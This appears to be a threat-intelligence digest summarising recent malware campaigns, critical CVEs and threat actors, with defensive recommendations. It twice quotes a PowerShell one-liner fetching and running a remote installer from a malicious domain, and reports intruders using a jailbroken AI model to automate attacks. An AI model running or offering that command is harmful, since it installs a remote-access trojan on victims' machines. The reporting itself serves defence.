Summary
Attackers are turning continuous integration pipelines into high-value targets, as the WFX Phantom botnet plants malicious scripts in GitHub repositories to steal Actions secrets and cloud credentials. Cyware highlights how compromised tokens and tampered code in projects like nextcloud/docker and webdriverio/webdriverio can expose entire supply chains to downstream risk.
A critical flaw in Cisco Expressway, tracked as CVE-2026-76466 with a CVSS score of 9.8, exposes edge voice and video gateways to root-level compromise. With a public proof-of-concept now available, attackers can exploit hard-coded credentials over TCP port 4372, raising the stakes for organizations that have not yet applied the X15.5.20 patch.
Espionage operations are hijacking browsers at scale, as the Falcon framework targets government agencies across one Middle Eastern and four Southeast Asian countries. By injecting malicious JavaScript and sideloading Chrome extensions, attackers gain deep access to sensitive mailboxes and internal portals, blending their activity into everyday web traffic.
Top Malware Reported in the Last 24 Hours
WFX Phantom hijacks GitHub Actions secrets
WFX Phantom is a botnet-driven attack that plants a malicious “wfx” script into GitHub repositories to steal GitHub Actions secrets, runner memory, and cloud credentials. After attackers use stolen GitHub tokens to push the payload, it runs inside CI and then attempts to erase evidence by reverting changes and deleting workflow runs. It also tries to hang on in cloud environments by modifying AWS role trust policies and adding Azure federated identity credentials, turning a CI compromise into longer-term access. Researchers said it has targeted repositories including nextcloud/docker and webdriverio/webdriverio (as well as juejin-cn/repo-data and ipfs-shipyard/js-ipld-fixtures), and it has shifted data exfiltration to Telegram to make simple IP blocking less effective. For development teams, the impact is immediate and personal: stolen secrets can translate into tampered code, breached cloud accounts, and downstream supply-chain risk for users. Recommended actions in the report include searching for pull requests titled docs: dependency audit notes and branches named wfx-docs or chore/<8 characters>, rotating exposed secrets, and checking AWS/Azure identity changes.
k2f-agent hides in NIKKE launcher
k2f-agent is an info stealer delivered through the NIKKE game launcher’s server-pushed task channel, using the launcher’s own connections to blend into normal activity. It targets browser credentials, cryptocurrency wallets, and developer secrets, with the initial payload described as a Lua-based stealer disguised as a log file. The threat specifically goes after wallet-related browser extensions including MetaMask, Phantom, Coinbase Wallet, Keplr, and TronLink, setting victims up for account takeover and direct financial theft. Bitdefender reported detecting the activity beginning October 30, 2026 and said it blocked the attack on protected systems. Recommended actions include monitoring for the campaign’s IOCs, rotating passwords stored in Chrome/Edge/Opera, and rotating developer secrets.
Fake Quant AI drops NetSupport RAT
NetSupport Manager RAT is being pushed via a polished “Quant AI” crypto lure promoted from a verified YouTube channel with 2.23M subscribers, complete with AI-generated presenters and auto-dubbed videos. The site chain described in the report sends users from quantai[.]io to chartsgpt[.]com, where victims are prompted to run a PowerShell one-liner (irm quantai[.]io/install | iex) that fetches a dropper and installs the remote-access tool. Once running, it is configured to operate silently, uses icacls to change folder permissions to frustrate removal, and displays a decoy crypto dashboard to keep the victim calm. Researchers tied the activity to the domains quantai[.]io, chartsgpt[.]com, sonosarcsounds[.]com, and sonosarcsounds[.]net, highlighting how mainstream platforms can be used to funnel installs. Recommended actions include monitoring for the specific PowerShell command and icacls behavior, and blocking the known malicious domains.
Top Vulnerabilities Reported in Last 24 hours
PoC exploit targets Cisco Expressway clusters
A critical flaw in Cisco Expressway could let an unauthenticated attacker run commands as root on exposed systems, handing over full control of edge voice and video gateways (CVE-2026-76466, CVSS 9.8). The published proof-of-concept shows attackers connecting over TCP port 4372 and abusing hard-coded credentials in the cluster-manager module to execute commands with maximum privileges. No active exploitation has been observed yet, according to Cisco PSIRT, but a public PoC lowers the barrier for copycat attacks. The issue was reported as a hard-coded-credential problem (CWE-798) affecting clustered Expressway-C and Expressway-E deployments. A fix is available in X15.5.20, and Cisco also advises limiting access to TCP ports 4371 and 4372 to authorized cluster peers and monitoring for exploitation attempts.
Apache HTTP/2 RCE risk hits cloud
A critical bug in Apache HTTP Server’s HTTP/2 support could allow remote, unauthenticated code execution on vulnerable web servers (CVE-2026-119618). The weakness is a race condition in the HTTP/2 module’s assign_headers() logic that can corrupt memory and potentially let an attacker run code with the web server’s privileges. No active exploitation has been reported in the wild so far, but the exposure picture is large in cloud environments, where 64% have resources vulnerable to this CVE and 51% have publicly exposed instances. The vulnerability was independently discovered by Anthropic and Google Cloud’s Vulnerability Research Team. A fix is available in Apache HTTP Server 2.4.71, and disabling HTTP/2 is cited as a temporary workaround if patching cannot happen immediately.
Node.js bugs enable crashes and bypasses
Node.js has shipped fixes for 16 vulnerabilities that can let unauthenticated attackers crash servers, leak memory, or bypass authentication across the 22.x, 24.x, and 26.x release lines. In practical terms, these issues can translate into outages for internet-facing services, exposure of sensitive data in memory, or attackers slipping past login controls depending on the flaw. CISA has warned of active exploitation, raising the urgency for organizations running affected Node.js builds. The advisory highlights multiple CVEs, including CVE-2026-123863, CVE-2026-123864, and CVE-2026-123866, with contributions credited to researchers including Chris Rohlf and Claude, alongside maintainers mcollina, RafaelGSS, and jasnell. Patched releases are available in v22.23.5, v24.22.3, and v26.13.1.
Top Threat Actors Reported in Last 24 hours
Falcon framework hijacks browsers for espionage
Falcon (aka XG or Xiàng Gē) is a browser-based command-and-control framework used for suspected intelligence collection, built to blend into normal web activity while giving attackers deep control of a victim’s browser. Between March and May 2026, they used it in campaigns targeting government entities across one Middle Eastern country and four Southeast Asian countries, focusing on foreign affairs, defense, interior, and law enforcement. The group’s playbook includes injecting malicious JavaScript into web applications to establish a foothold, then sideloading malicious Chrome extensions to steal passwords, emails, session cookies, and communications. Under the hood, Falcon uses AES and RSA for encrypted sessions, and it can also deliver the Antino implant that uses Microsoft OneDrive as a C2 channel—raising the risk that everyday cloud traffic masks espionage activity. For the ministries and agencies in the blast radius, a compromised browser can mean quiet access to sensitive mailboxes, internal portals, and ongoing investigations. Palo Alto Networks Unit 42 reported the activity and advised monitoring for unusual clipboard activity, blocking known malicious infrastructure, and watching for unusual encrypted WebSocket traffic tied to browser sessions.
DPRK-linked recruiters compromise developer laptops
The Contagious Interview campaign, attributed to North Korean threat actors, has scaled a recruiter-style lure into a long-running pipeline for stealing cryptocurrency and developer access. Active since at least 2022, they pose as hiring managers on platforms like LinkedIn and push targets toward “job assessments” and coding challenges that deliver malware. Investigators say the operators rely on commercial VPNs such as Astrill and Mullvad to stage regional exit nodes, and they deploy malware families including BeaverTail and InvisibleFerret. The same ecosystem also includes North Korean IT workers using AI-generated identities to bypass hiring restrictions—turning routine recruiting outreach into a pathway for real-world financial theft and access to software supply chains. The alert said the campaign has compromised 30,000 devices globally and stolen $10.71M in cryptocurrency, with reporting from Palo Alto Networks Unit 42 and an advisory backed by agencies in Japan, the U.S., Australia, and Germany. Recommended actions highlighted monitoring for commercial VPN use and unusual remote-access behavior, alongside stronger endpoint detection and containment practices.
Chinese-speaking hackers exploit Cisco BroadWorks flaw
Chinese-speaking hackers are actively exploiting a critical vulnerability in Cisco BroadWorks by sending rigged XML messages that enable unauthorized file access without authentication, according to reporting tied to a CISA response. Investigators said the intruders used a jailbroken DeepSeek model to automate parts of the operation with minimal human input, and they even developed a replacement tool to keep working after initial blocks disrupted their activity. In one described incident, they broke into a European telecom’s network and used public internet registry records to map out 13 organizations, showing how quickly a single foothold can expand into a broader targeting set. Separately, exploitation was linked to unauthorized access to a healthcare database protected only by default credentials, potentially exposing millions of patient records spanning billing and device details—turning a software flaw into direct privacy and operational risk. CISA ordered U.S. federal agencies to patch by November 24, 2026. The recommended actions in the report centered on applying the available patch and reviewing default credentials, along with tighter monitoring for suspicious XML-related file access activity.
Frequently Asked Questions
What is WFX Phantom? WFX Phantom is a botnet-driven attack that plants a malicious “wfx” script into GitHub repositories to steal GitHub Actions secrets, runner memory, and cloud credentials. After attackers use stolen GitHub tokens to push the payload, it runs inside CI and then attempts to erase evidence by reverting changes and deleting workflow runs.
What is k2f-agent? k2f-agent is an info stealer delivered through the NIKKE game launcher’s server-pushed task channel, using the launcher’s own connections to blend into normal activity. It targets browser credentials, cryptocurrency wallets, and developer secrets, with the initial payload described as a Lua-based stealer disguised as a log file.
What is NetSupport Manager RAT? NetSupport Manager RAT is being pushed via a polished “Quant AI” crypto lure promoted from a verified YouTube channel with 2.23M subscribers, complete with AI-generated presenters and auto-dubbed videos. The site chain described in the report sends users from quantai[.]io to chartsgpt[.]com, where victims are prompted to run a PowerShell one-liner (irm quantai[.]io/install | iex) that fetches a dropper and installs the remote-access tool.
What is CVE-2026-76466? A critical flaw in Cisco Expressway could let an unauthenticated attacker run commands as root on exposed systems, handing over full control of edge voice and video gateways (CVE-2026-76466, CVSS 9.8). The published proof-of-concept shows attackers connecting over TCP port 4372 and abusing hard-coded credentials in the cluster-manager module to execute commands with maximum privileges.
What is CVE-2026-119618? A critical bug in Apache HTTP Server’s HTTP/2 support could allow remote, unauthenticated code execution on vulnerable web servers (CVE-2026-119618). The weakness is a race condition in the HTTP/2 module’s assign_headers() logic that can corrupt memory and potentially let an attacker run code with the web server’s privileges.
What is CVE-2026-123863? Node.js has shipped fixes for 16 vulnerabilities that can let unauthenticated attackers crash servers, leak memory, or bypass authentication across the 22.x, 24.x, and 26.x release lines. In practical terms, these issues can translate into outages for internet-facing services, exposure of sensitive data in memory, or attackers slipping past login controls depending on the flaw.
What is Falcon? Falcon (aka XG or Xiàng Gē) is a browser-based command-and-control framework used for suspected intelligence collection, built to blend into normal web activity while giving attackers deep control of a victim’s browser. Between March and May 2026, they used it in campaigns targeting government entities across one Middle Eastern country and four Southeast Asian countries, focusing on foreign affairs, defense, interior, and law enforcement.
What is Contagious Interview? The Contagious Interview campaign, attributed to North Korean threat actors, has scaled a recruiter-style lure into a long-running pipeline for stealing cryptocurrency and developer access. Active since at least 2022, they pose as hiring managers on platforms like LinkedIn and push targets toward “job assessments” and coding challenges that deliver malware.
What is Cisco BroadWorks? Chinese-speaking hackers are actively exploiting a critical vulnerability in Cisco BroadWorks by sending rigged XML messages that enable unauthorized file access without authentication, according to reporting tied to a CISA response. Investigators said the intruders used a jailbroken DeepSeek model to automate parts of the operation with minimal human input, and they even developed a replacement tool to keep working after initial blocks disrupted their activity.